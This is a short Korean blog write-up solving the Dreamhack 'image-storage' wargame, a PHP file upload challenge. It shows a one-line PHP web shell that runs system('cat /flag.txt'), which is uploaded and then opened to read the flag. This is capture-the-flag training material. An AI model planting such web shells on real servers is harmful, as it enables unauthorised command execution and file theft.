문제
https://dreamhack.io/wargame/challenges/38/
image-storage
php로 작성된 파일 저장 서비스입니다. 파일 업로드 취약점을 이용해 플래그를 획득하세요. 플래그는 /flag.txt에 있습니다. Reference Server-side Basic
dreamhack.io
풀이
File upload 문제이다.
문제에서 flag.txt를 읽어보라 했으니
cat 명령어를 이용한 웹셀을 올려보자.
<? php system('cat /flag.txt');
?>
웹셀을 upload 페이지에 올리고, list 페이지에서 올린 웹셀을 확인하여
읽어보면 아래와 같이 flag를 알 수 있다.
'Wargame > Web' 카테고리의 다른 글
[Dreamhack] XSS-1 (0) | 2022.06.21 |
---|---|
[Dreamhack]pathtraversal (0) | 2022.06.17 |
[Dreamhack] command-injection-1 (0) | 2022.06.09 |
[Dreamhack] proxy-1 (0) | 2022.06.09 |
[XSS-GAME] Level6 (0) | 2022.06.03 |
댓글